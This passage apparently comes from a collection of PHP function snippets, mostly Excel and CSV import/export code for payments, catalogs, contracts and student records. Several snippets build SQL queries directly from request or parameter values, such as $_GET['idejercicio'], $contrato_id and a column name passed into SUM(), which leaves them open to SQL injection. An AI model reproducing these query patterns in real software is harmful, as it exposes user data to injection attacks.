;\n\t\t\t\t$fecha = str_replace(\".\",\":\",$fecha);\n\t\t\t\t$fecha = substr_replace($fecha, \" \", 10, 1);\n\t\t\t\t\t//echo $fecha.':'.$row[5].'|||'.$fecha .'<br/>';\n\t\t\t\t\t\n\t\t\t\t$aporte=new Aporte($this->adapter);\n\t\t\t\t$aporte->setTransactionID($row[4]);\n\t\t\t\t$aporte->setBank($row[14]);\n\t\t\t\t$aporte->setRegisteredDate($fecha);\n\t\t\t\t$aporte->setValue($row[6]);\n\t\t\t\t$aporte->setAccount($row[13]);\n\t\t\t\t\n\t\t\t\t$save=$aporte->updateCruce(); // Manda a actualizar la moto en el modelo\n\t\t\t\tif ($save == TRUE)\n\t\t\t\t{\n\t\t\t\t\t$act = $act+1;\n\t\t\t\t}\n\t\t\t\t$reg = $reg+1;\t\n\t\t\t\t//$dato = \"UPDATE aporte set \\\"transactionId\\\"='\".$row[4].\"', \\\"bank\\\"='\".$row[14].\"', \\\"registeredDate\\\"='\".$fecha.\"', \\\"bankValidated\\\"='true' WHERE \\\"account\\\"='\".$row[13].\"' AND \\\"value\\\"='\".$row[6].\"' AND \\\"bankValidated\\\"='false' AND \\\"callCenterValidated\\\"='false' AND \\\"transactionId\\\"= '0';\";\n\t\t\t\t//echo strval($save) . '<br/>';\n\t\t\t\ttry{\n\t\t\t\t$payment=new Payment($this->adapter);\n\t\t\t\t$payment->setTransactionID($row[4]);\n\t\t\t\t$payment->setValue($row[6]);\n\t\t\t\t$payment->setCedula($row[10]);\n\t\t\t\t$payment->setBank($row[14]);\n\t\t\t\t$payment->setAccount($row[13]);\n\t\t\t\t$payment->setRegisteredDate($fecha);\n\t\t\t\t$payment->setIsMatched('false');\n\t\t\t\t$payment->setIsActive('true');\n\t\t\t\t$save=$payment->save();\n\t\t\t\t}\n\t\t\t\tcatch (Exception $e) {\n\t\t\t\t\t//echo 'Excepción capturada: ', $e->getMessage(), \"\\n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\t}\n\t\t} else {\n\t\techo SimpleXLSX::parseError();\n\t\t}\n\t\t\t$count2=0;\n\t\t$aporte1=new Aporte($this->adapter);\n\t\t$porCruzar1= $aporte1->contarCruceAportes();\n\t\tif (isset($porCruzar1) && count($porCruzar1)>=1)\n {\n\t\t\t\t foreach($porCruzar1 as $aporte)\n\t\t\t\t {\n\t\t\t\t\t $count2 = $aporte->aporteID;\n\t\t\t\t }\n\t\t\t }\n\t\t$payment0=new Payment($this->adapter);\n\t $save=$payment0->updateMatch();\n\t\n\t\t$aporte1->phpAlert('Registros econtrados en excel: ' .$reg \n\t\t.'\\nRegistros procesados desde el excel: ' .$act\n\t\t.'\\nAportes pendientes por cruzar antes del cruce: ' .$count1\n\t\t.'\\nAportes pendientes de cruzar luego del cruce: ' .$count2\n\t\t.'\\nTOTAL CRUZADOS en esta carga: ' .($count1 - $count2),\n\t\t$this->baseUrl(\"BandejaCallcenters\", \"index\")); // Alerta y redirige\n //$this->redirect(\"BandejaBancos\", \"index\"); // COntrolador + Vista\n }", "public function recorrerArchivoXLS(){\n $array = [];\n for ($row = $this->filaDesde; $row <= $this->filaHasta; ++ $row) {\n $item = new ExtractoBancarioItemVO();\n for ($col = $this->columnaDesde; $col < $this->columnaHasta; ++ $col) {\n //si la columna leída nos interesa continúo.\n if(in_array($col, $this->columnas)){\n $cell = $this->worksheet->getCellByColumnAndRow($col, $row);\n $val = $cell->getValue();\n if (PHPExcel_Shared_Date::isDateTime($cell)) {\n $val = date($format = \"Y-m-d\", PHPExcel_Shared_Date::ExcelToPHP($val));\n }\n array_push($array, $val);\n }\n }\n\n $item->asignarValores($array, $this->idTipoBanco['valor']); //asigno los valores al objeto.\n $this->mensaje['valor'] .= $item->idTipoBancoConcepto['referencia']->result->getMessage();\n //si el status no es OK, incremento el contador de erróneos.\n if($item->idTipoBancoConcepto['referencia']->result->getStatus() != STATUS_OK)\n $this->cantidadRegistrosError['valor']++;\n $this->extractoBancarioItemArray[] = $item; //agrego el registro al array.\n $array = [];\n $this->cantidadRegistros['valor']++;\n }\n }", "public function revisarFormato($archivo, $tipo_archivo)\n {\n\n\n Excel::selectSheetsByIndex(0)->load($archivo, function($reader) use ($tipo_archivo) {\n\n $reader->noHeading();\n\n $firstrow = $reader->first()->toArray();\n\n /*\n *Normalizando los nombres de las columnas (eliminamos acentos,espacios y Ñ)\n */\n $originales ='áéíóú ñ';\n $modificadas ='aeiou_n';\n\n for($i=0; $i < count($firstrow); $i++){\n $cadena = $firstrow[$i];\n $cadena = utf8_decode($cadena);\n $cadena = strtr($cadena, utf8_decode($originales), $modificadas);\n $cadena = strtolower($cadena);\n $firstrow[$i] = utf8_encode($cadena);\n }\n\n /*\n * Revisamos que el archivo tiene todas las columnas que se piden\n * y que sus nombres corresponden con los establecidos\n */\n\n switch($tipo_archivo)\n {\n case \"registros\":\n if (count($firstrow) >= 15) {\n if (($firstrow[0] == 'phylum') && ($firstrow[1] == 'clase') && (($firstrow[2] == 'subclase')\n && ($firstrow[3] == 'orden') && ($firstrow[4] == 'familia') && ($firstrow[5] == 'genero')\n && ($firstrow[6] == 'especie') && ($firstrow[7] == 'variedad') && ($firstrow[8]) == 'forma')\n && ($firstrow[9] == 'autor') && ($firstrow[10] == 'sinonimia') && ($firstrow[11] == 'cita')\n && ($firstrow[12] == 'entidad_federal') && ($firstrow[13] == 'localidad') && ($firstrow[14] == 'comentario')\n ) {\n $this->log = \"Archivo de Registros para el Catálogo con estructura correcta\";\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"libros\":\n if (count($firstrow) >= 16) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo_libro') && ($firstrow[4] == 'edicion') && ($firstrow[5] == 'editorial')\n && ($firstrow[6] == 'lugar') && ($firstrow[7] == 'total_de_paginas') && ($firstrow[8]) == 'titulo_capitulo')\n && ($firstrow[9] == 'editor') && ($firstrow[10] == 'intervalo_de_paginas') && ($firstrow[11] == 'isbn')\n && ($firstrow[12] == 'doi') && ($firstrow[13] == 'enlace')&& ($firstrow[14] == 'archivo') && ($firstrow[15] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Libros con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"revistas\":\n if (count($firstrow) >= 14) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo') && ($firstrow[4] == 'nombre_revista') && ($firstrow[5] == 'volumen')\n && ($firstrow[6] == 'numero') && ($firstrow[7] == 'intervalo_de_paginas') && ($firstrow[8]) == 'isbn')\n && ($firstrow[9] == 'issn') && ($firstrow[10] == 'doi') && ($firstrow[11] == 'enlace')\n && ($firstrow[12] == 'archivo') && ($firstrow[13] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"trabajos\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'tipo') && ($firstrow[1] == 'cita') && ($firstrow[2] == 'autores') && ($firstrow[3] == 'fecha')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'paginas') && ($firstrow[8] == 'enlace') && ($firstrow[9] == 'archivo') && ($firstrow[10] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n case \"enlaces\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && ($firstrow[2] == 'fecha') && ($firstrow[3] == 'nombre_pagina')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'direccion_web') && ($firstrow[8] == 'dia_consulta') && ($firstrow[9] == 'mes_consulta') && ($firstrow[10] == 'ano_consulta')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"coordenadas\":\n if (count($firstrow) >= 6) {\n if (($firstrow[0] == 'entidad') && ($firstrow[1] == 'localidad') && ($firstrow[2] == 'lugar') && ($firstrow[3] == 'sitio')\n && ($firstrow[4] == 'latitud') && ($firstrow[5] == 'longitud')\n ) {\n $this->log = 'Archivo de Coordenadas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n default:\n $this->log = \"Error en el tipo de archivo\";\n $this->error = true;\n }\n\n\n\n\n\n });\n\n $respuesta = ['error' => $this->error, 'log' => $this->log];\n\n return $respuesta;\n }", "function mdatosEjercicioInformacion() {\n\t\t$conexion = conexionbasedatos();\n\t\t\n\t\t$idejercicio = $_GET[\"idejercicio\"];\n\n\t\t$consulta = \"select FE.IDEJERCICIO, FE.NOMBRE_EJERCICIO, FG.NOMBRE_MUSCULO , FE.NIVEL_EJERCICIO, FE.DESCRIPCION, FE.IDFOTO\n\t\t\t\t\tfrom final_ejercicio FE, final_grupo FG\n\t\t\t\t\twhere FE.MUSCULO = FG.IDGRUPO AND FE.IDEJERCICIO = $idejercicio;\";\n\n\t\tif ($resultado = $conexion->query($consulta)) {\n\t\t\treturn $resultado;\n\t\t} else {\n\t\t\treturn -1;\n\t\t}\n\t}", "public function f10_control_cambios_excel($contrato_id) {\n require_once('../../../librerias/Excel/PHPExcel2.php');\n \n $obCon=new conexion(1);\n $st_f10=\"SELECT * FROM vista_f10_control_cambios WHERE contrato_id='$contrato_id'\";\n $objPHPExcel = new Spreadsheet();\n \n $styleName = [\n \n 'font' => [\n 'bold' => true,\n 'size' => 20\n ]\n ];\n $styleTitle = [\n 'font' => [\n 'bold' => true,\n 'size' => 12\n ]\n ];\n \n $Campos=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\n \"AA\",\"AB\",\"AC\",\"AD\",\"AE\",\"AF\",\"AG\",\"AH\",\"AI\",\"AJ\",\"AK\",\"AL\",\n \"AM\",\"AN\",\"AO\",\"AP\",\"AQ\",\"AR\",\"AS\",\"AT\",\"AU\",\"AV\",\"AW\",\"AX\",\"AY\",\"AZ\",\n \"BA\",\"BB\",\"BC\",\"BD\",\"BE\",\"BF\",\"BG\",\"BH\",\"BI\",\"BJ\",\"BK\",\"BL\",\n \"BM\",\"BN\",\"BO\",\"BP\",\"BQ\",\"BR\",\"BS\",\"BT\",\"BU\",\"BV\",\"BW\",\"BX\",\"BY\",\"BZ\",\n \"CA\",\"CB\",\"CC\",\"CD\",\"CE\",\"CF\",\"CG\",\"CH\",\"CI\",\"CJ\",\"CK\",\"CL\",\n \"CM\",\"CN\",\"CO\",\"CP\",\"CQ\",\"CR\",\"CS\",\"CT\",\"CU\",\"CV\",\"CW\",\"CX\",\"CY\",\"CZ\",\n ];\n \n $nombres_campos=[\"ID\"=>'IDENTIFICADOR',\n\t\t\t\t\"NumeroInterno\"=>'N°',\n\t\t\t\t\"NombreSucursal\"=>'SEDE',\n\t\t\t\t\"NitIPSContratada\"=>'NIT',\n\t\t\t\t\"RazonSocial\"=>'RAZON SOCIAL',\n\t\t\t\t\"Naturaleza\"=>'NATURALEZA',\n\t\t\t\t\"Modalidad\"=>'MODALIDAD',\n\t\t\t\t\"NumeroContrato\"=>'NUMERO DE CONTRATO',\n\t\t\t\t\"llaveCargue\"=>'LLAVE',\n\t\t\t\t\"ValorContrato\"=>'VALOR CONTRATO',\n\t\t\t\t\"FechaInicioContrato\"=>'FECHA INICIO VIGENCIA',\n\t\t\t\t\"FechaFinalContrato\"=>'FECHA FIN VIGENCIA',\n\t\t\t\t\"ValorGlosaxConciliar\"=>'VALOR GLOSAS POR CONCILIAR',\n\t\t\t\t\"FechaConciliacionGlosa\"=>'FECHA CONCILIACION GLOSAS',\n\t\t\t\t\"CumplimientoActaGlosas\"=>'CUMPLIMIENTO DE ACTA DE GLOSA',\n\t\t\t\t\"ResponsableConciliacionGlosa\"=>'RESPONSABLE CONCILIACIÓN GLOSAS',\n\t\t\t\t\"SaldoCuentaXPagar\"=>'SALDO CUENTA POR PAGAR (SEVEN)',\n\t\t\t\t\"FechaConciliacionCartera\"=>'FECHA DE CONCILACIÓN CARTERA',\n\t\t\t\t\"nombre_responsable_conciliacion\"=>'RESPONSABLE CONCILIACIÓN CARTERA',\n\t\t\t\t\"CumplimientoConciliacionCartera\"=>'CUMPLIMIENTO DE CONCILIACIÓN',\n\t\t\t\t\"ObservacionesCartera\"=>'OBSERVACIONES',\n\t\t\t\t\"FechaActaLiquidacion\"=>'FECHA ELABORACIÓN ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NumeroActaLiquidacion\"=>'No. ACTA DE LIQUIDACION',\n\t\t\t\t\"ActaLiquidacionFirmada\"=>'ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"FechaActaLiquidacionFirmada\"=>'FECHA ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"ValorFavorContra\"=>'VALOR A FAVOR (/) O EN CONTRA (+)',\n\t\t\t\t\"RegistroActaLiquidacionSeven\"=>'REGISTRO ACTA DE LIQUIDACIÓN (SEVEN)',\n\t\t\t\t\"AcuerdoPago\"=>'SE REALIZÓ ACUERDO DE PAGO',\n\t\t\t\t\"NumeroCuotasAcuerdo\"=>'No. CUOTAS',\n\t\t\t\t\"ValorTotalAcuerdo\"=>'VALOR TOTAL ACUERDO',\n\t\t\t\t\"ValorCuotaAcuerdo\"=>'VALOR CUOTA',\n\t\t\t\t\"FechaInicioAcuerdo\"=>'FECHA INICIO ACUERDO DE PAGO',\n\t\t\t\t\"FechaFinAcuerdo\"=>'FECHA FIN ACUERDO DE PAGO',\n\t\t\t\t\"ValorSaldoAcuerdo\"=>'VALOR SALDO ACUERDO',\n\t\t\t\t\"ResponsableCargue\"=>'RESPONSABLE AGS O DEPARTAMENTAL CARGUE',\n\t\t\t\t\"TipoOperacionCargue\"=>'TIPO DE OPERACIÓN',\n\t\t\t\t\"NumeroAjusteCargue\"=>'NÚMERO AJUSTE',\n\t\t\t\t\"FechaAjusteCargue\"=>'FECHA',\n\t\t\t\t\"ValorAjusteCargue\"=>'VALOR AJUSTE',\n\t\t\t\t\"SaldoActaLiquidacionCargue\"=>'SALDO ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NotificacionCargue\"=>'NOTIFICACIÓN',\n\t\t\t\t\"FechaNotificacionCargue\"=>'FECHA NOTIFICACIÓN',\n\t\t\t\t\"UsuarioCargue\"=>'USUARIO QUE CARGA',\n\t\t\t\t\"nombre_responsable_liquidacion\"=>'RESPONSABLE AGS 2',\n\t\t\t\t\"nombre_cargo_responsable_liquidacion\"=>'CARGO RESPONSABLE AGS 2',\n\t\t\t\t\"LiderAcargoLiquidacion\"=>'LIDER A CARGO',\n\t\t\t\t\"nombre_responsable_cargue_acta\"=>'RESPONSABLE CARGUE DE ACTA',\n\t\t\t\t\"Pareto\"=>'PARETO',\n\t\t\t\t\"ParetoContraloria\"=>'PARETO CONTRALORIA',\n\t\t\t\t\"Municipio\"=>'MUNICIPIO',\n\t\t\t\t\"NivelComplejidad\"=>'NIVEL COMPLEJIDAD',\n\t\t\t\t\"ObjetoContrato\"=>'OBJETO DEL CONTRATO',\n\t\t\t\t\"AnioFinalizacionContrato\"=>'AÑO FINALIZACIÓN',\n\t\t\t\t\"ObservacionesLiquidacion\"=>'OBSERVACIONES ACTAS DE LIQUIDACIÓN',\n\t\t\t\t\"SaldoInicialSeven\"=>'SALDO INICIAL (SEVEN)',\n\t\t\t\t\"GlosaInicial\"=>'GLOSA INICIAL',\n\t\t\t\t\"GlosaFavor\"=>'GLOSA A FAVOR',\n\t\t\t\t\"GlosaConciliar\"=>'GLOSA POR CONCILIAR',\n\t\t\t\t\"PendienteAuditoria\"=>'PENDIENTE DE AUDITORIA',\n\t\t\t\t\"ValorDevoluciones\"=>'VALOR DEVOLUCIONES',\n\t\t\t\t\"ValorFacturado\"=>'VALOR FACTURADO',\n\t\t\t\t\"ValorPagado\"=>'TOTAL PAGADO',\n\t\t\t\t\"FechaEnvioCruceCartera\"=>'FECHA ENVIO CRUCE DE CARTERA',\n\t\t\t\t\"DiasTranscurridos\"=>'DIAS TRANSCURRIDOS',\n\t\t\t\t\"ConciliadoAsmet\"=>'CONCILIADO POR ASMET',\n\t\t\t\t\"CausaNoLiquidacion\"=>'CAUSA DE NO LIQUIDACION DEL CONTRATO',\n\t\t\t\t\"GestionLiquidacion\"=>'GESTION PARA LA LIQUIDACION',\n\t\t\t\t\"ProcesoNoLiquidacion\"=>'PROCESO DE NO LIQUIDACION INMEDIATA',\n\t\t\t\t\"ObservacionesAdicionales\"=>'OBSERVACIONES',\n\t\t\t\t\"HYL\"=>'HYL',\n\t\t\t\t\"Liquidado31Marzo2018\"=>'LIQUIDADO A 31 DE MARZO 2018',\n\t\t\t\t\"Contrato\"=>'CONTRATO SI/NO',\n\t\t\t\t\"MarcaGerencia\"=>'MARCA JAIR',\n\t\t\t\t\"RecibeCartera\"=>'SE RECIBE CARTERA',\n\t\t\t\t\"FechaRecibeCartera\"=>'FECHA RECIBE CARTERA',\n\t\t\t\t\"RealizaCruceCartera\"=>'SE REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"FechaCruce\"=>'FECHA REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"EnviaOferta\"=>'SE ENVIA OFERTA',\n\t\t\t\t\"FechaEnviaOferta\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"ActaArchivada\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"FechaActualizacionManual\"=>'FECHA ACTUALIZACION MANUAL',\n\t\t\t\t\"usuario_edicion\"=>'USUARIO ACTUALIZA MANUAL',\n\t\t\t\t\"FechaActualizacion\"=>'FECHA ACTUALIZACION AUTOMATICA',\n\t\t\t\t\"nombre_estado\"=>'ESTADO DEL CONTRATO',\n\n\t\t\t\t];\n \n $campos_seleccionados=\"\";\n $z=0;\n $i=1;\n foreach ($nombres_campos as $key => $value) {\n $campos_seleccionados.=\"$key,\";\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z].$i,$value);\n \n $z=$z+1;\n }\n $campos_seleccionados= substr($campos_seleccionados, 0, -1);\n \n $st_f10= str_replace(\"*\", $campos_seleccionados, $st_f10);\n $z=0;\n $i=2;\n $sql=$st_f10;\n \n $Consulta=$obCon->Query($sql);\n \n while($DatosConsulta=$obCon->FetchAssoc($Consulta)){\n $z=0;\n foreach ($DatosConsulta as $key => $value) {\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z++].$i,$value);\n }\n $i++;\n }\n //Informacion del excel\n $objPHPExcel->\n getProperties()\n ->setCreator(\"www.technosoluciones.com.co\")\n ->setLastModifiedBy(\"www.technosoluciones.com.co\")\n ->setTitle(\"F10_control_cambios\")\n ->setSubject(\"F10_control_cambios\")\n ->setDescription(\"Documento generado por Techno Soluciones SAS\")\n ->setKeywords(\"techno soluciones sas\")\n ->setCategory(\"F10\"); \n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.\"F10_Control_Cambios\".'.xls\"');\n header('Cache-Control: max-age=0');\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n $objWriter=IOFactory::createWriter($objPHPExcel,'Xlsx');\n $objWriter->save('php://output');\n exit; \n \n }", "public function loadDataIntoBD() : void{\n $consulta = new Consultas();\n try{\n $reader = new Csv();\n \n $reader->setInputEncoding('CP1252');\n $reader->setDelimiter(';');\n $reader->setEnclosure('');\n $reader->setSheetIndex(0);\n \n $spreadsheet = $reader->load('./files/' . $this->files['name']);\n \n $worksheet = $spreadsheet->getActiveSheet();\n \n //Se debe hacer lectura anticipada, o hacerle un next al iterador\n //Manera no encontrada\n //Se salta el primero para que no lea las cabeceras de las columnas\n \n $cutradaParaSaltarPrimero = 0;\n foreach ($worksheet->getRowIterator() as $row) {\n if($cutradaParaSaltarPrimero == 0){\n $cutradaParaSaltarPrimero++;\n continue;\n }\n\n $cellIterator = $row->getCellIterator();\n $cellIterator->setIterateOnlyExistingCells(FALSE);\n \n $arrayFila = array();\n foreach ($cellIterator as $cell) {\n $arrayFila[] = $this->utf8Decode(trim($cell->getValue()));\t\t\t\t\n }\n \n if($arrayFila[0] != '') {\n $consulta->insertarCompetidor($arrayFila);\n }\n \n }\n \n }catch(\\PhpOffice\\PhpSpreadsheet\\Reader\\Exception $e){\n die('Error loading file: ' . $e->getMessage());\n }\n }", "public static function ctrAgregarFichas()\n {\n\n if (isset($_POST[\"nuevaFicha\"])) {\n\n if (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"nuevaFicha\"]) &&\n preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"nuevaJornada\"])) {\n\n $tabla = \"ficha\";\n\n // $jornada = strtoupper($_POST[\"nuevaJornada\"]);\n // $fechaInicio=($_POST[\"nuevaFechaInicio\"],$formato);\n\n $excel = $_FILES[\"nuevoExcel\"][\"tmp_name\"];\n\n include 'extensiones/PHPExcel-1.8/Classes/PHPExcel/IOFactory.php';\n $inputFileName = $excel;\n $inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $objPHPExcel = $objReader->load($inputFileName);\n\n $data = array($objPHPExcel->getActiveSheet()->toArray(\"null\", true, true, true));\n\n if (count($data[0]) < 10) {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"Número mínimo de aprendices: 30\",\n text: \"El número de aprendices que se quiere ingresar es: ' . count($data[0]) . '\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n }\n })\n\n </script>';\n \n } else {\n $letras = array('A' => \"A\",\n 'B' => \"B\",\n 'C' => \"C\",\n 'D' => \"D\",\n 'E' => \"E\");\n $validacion = false;\n\n if ($data[0][1][$letras['A']] == \"DOCUMENTO\" and $data[0][1][$letras['B']] == \"NOMBRE\" and $data[0][1][$letras['C']] == \"TELEFONO\" and $data[0][1][$letras['D']] == \"EMAIL\" or $data[0][1][$letras['A']] == \"DOCUMENTO \" or $data[0][1][$letras['B']] == \"NOMBRE \" or $data[0][1][$letras['C']] == \"TELEFONO \" or $data[0][1][$letras['D']] == \"EMAIL \") {\n for ($i = 2; $i <= count($data[0]); $i++) {\n if ($data[0][$i][$letras['A']] == \"null\") {\n $validacion = true;\n }\n if ($data[0][$i][$letras['B']] == \"null\") {\n $validacion = true;\n }\n }\n if (!$validacion) {\n $datos = array(\"NumeroFicha\" => $_POST[\"nuevaFicha\"],\n \"IdAmbiente\" => $_POST[\"nuevoAmbiente\"],\n \"IdPrograma\" => $_POST[\"nuevoPrograma\"],\n \"FechaInicio\" => $_POST[\"nuevaFechaInicio\"],\n \"FechaFin\" => $_POST[\"nuevaFechaFin\"],\n \"JornadaFicha\" => $_POST[\"nuevaJornada\"]);\n print_r($datos);\n\n $respuesta = ModeloFichas::mdlAgregarFichas($tabla, $datos);\n if ($respuesta == \"ok\") \n {\n\n $errores = 0;\n $letras = array('A' => \"A\",\n 'B' => \"B\",\n 'C' => \"C\",\n 'D' => \"D\",\n 'E' => \"E\");\n\n\n for ($i = 2; $i <= count($data[0]); $i++) {\n $tablaConsulta = \"aprendiz\";\n $itemConsulta = \"NumDocumentoAprendiz\";\n $valorConsulta = $data[0][$i][$letras['A']];\n $respuestaConsulta = ModeloAprendiz::mdlConsultarAprendizFicha($tablaConsulta, $itemConsulta, $valorConsulta);\n\n if ($respuestaConsulta == null) {\n\n $tabla = \"aprendiz\";\n\n for ($i = 2; $i <= count($data[0]); $i++) {\n $telefono = $data[0][$i][$letras['C']];\n $email = $data[0][$i][$letras['D']];\n\n if ($telefono == \"null\") {\n $telefono = null;\n }\n if ($email == \"null\") {\n $email = null;\n\n }\n\n $datos1 = array(\"NumeroFicha\" => $_POST[\"nuevaFicha\"],\n \"NumDocumentoAprendiz\" => $data[0][$i][$letras['A']],\n \"NombreAprendiz\" => $data[0][$i][$letras['B']],\n \"TelefonoAprendiz\" => $telefono,\n \"EmailAprendiz\" => $email);\n\n $respuesta2 = ModeloAprendiz::MdlIngresarAprendiz($tabla, $datos1);\n\n print_r($respuesta2);\n\n }\n\n if ($respuesta2 == \"ok\") {\n\n echo '<script>\n\n swal({\n type: \"success\",\n title: \"La ficha ha sido guardada correctamente\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n } else {\n\n $tabla = \"ficha\";\n $datos = $_POST[\"nuevaFicha\"];\n\n $respuesta = ModeloFichas::mdlEliminarFicha($tabla, $datos);\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"La ficha no puede ir vacía o llevar caracteres especiales!\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n }\n\n } else {\n $i = 5000;\n $tablaEliminar = \"ficha\";\n $datosEliminar = $_POST[\"nuevaFicha\"];\n $respuestaEliminar = ModeloFichas::mdlEliminarFicha($tablaEliminar, $datosEliminar);\n\n if ($respuestaEliminar == \"ok\") {\n echo '<script>\n swal({\n type: \"error\",\n title: \"Aprendiz ya registrado\",\n text: \"Hay aprendices que ya se encuentran registrados en otra ficha revise el archivo!\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n }\n })\n\n </script>';\n }\n }\n }\n }\n } else {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"FALTAN CAMPOS\",\n text:\"Hay aprendices con campos obligatiorios como número de documento o nombre vacíos, revise el archivo e intentelo nuevamente\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n\n }\n\n } else {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"LA ESTRUCTURA DEL ARCHIVO EXCEL ES INCORRECTA\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n\n }\n }\n }\n }\n }", "public function consultarDadosAnexoIExcel($dados) {\n\n $ano = $dados['ano'];\n $campo = $dados['mes'];\n\n $ignorarUG = array(90032, 90009, 90000);\n $implodeUG = implode(', ', $ignorarUG);\n\n // $mes = $dados['mes'];\n switch ($dados['mes']) {\n case 'IMPO_VL_TOTAL_JAN':\n $mes = '01';\n break;\n case 'IMPO_VL_TOTAL_FEV':\n $mes = '02';\n break;\n case 'IMPO_VL_TOTAL_MAR':\n $mes = '03';\n break;\n case 'IMPO_VL_TOTAL_ABR':\n $mes = '04';\n break;\n case 'IMPO_VL_TOTAL_MAI':\n $mes = '05';\n break;\n case 'IMPO_VL_TOTAL_JUN':\n $mes = '06';\n break;\n case 'IMPO_VL_TOTAL_JUL':\n $mes = '07';\n break;\n case 'IMPO_VL_TOTAL_AGO':\n $mes = '08';\n break;\n case 'IMPO_VL_TOTAL_SET':\n $mes = '09';\n break;\n case 'IMPO_VL_TOTAL_OUT':\n $mes = '10';\n break;\n case 'IMPO_VL_TOTAL_NOV':\n $mes = '11';\n break;\n case 'IMPO_VL_TOTAL_DEZ':\n $mes = '12';\n break;\n }\n\n $sql = \"\n\n SELECT\n INCI_ID_INCISO, INCI_VL_INCISO, INCI_DS_INCISO,\n ALIN_ID_ALINEA, ALIN_VL_ALINEA, ALIN_DS_ALINEA,\n SUM($campo) AS TOTAL\n\n FROM CEO_TB_INCI_INCISO\n\n INNER JOIN CEO_TB_ALIN_ALINEA ON INCI_ID_INCISO = ALIN_ID_INCISO\n\n LEFT JOIN CEO_TB_REGC_REGRA_CNJ ON REGC_ID_ALINEA = ALIN_ID_ALINEA\n\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO\n ON REGC_ID_ALINEA = ALIN_ID_ALINEA\n AND IMPO_CD_UG NOT IN ({$implodeUG})\n\n LEFT JOIN 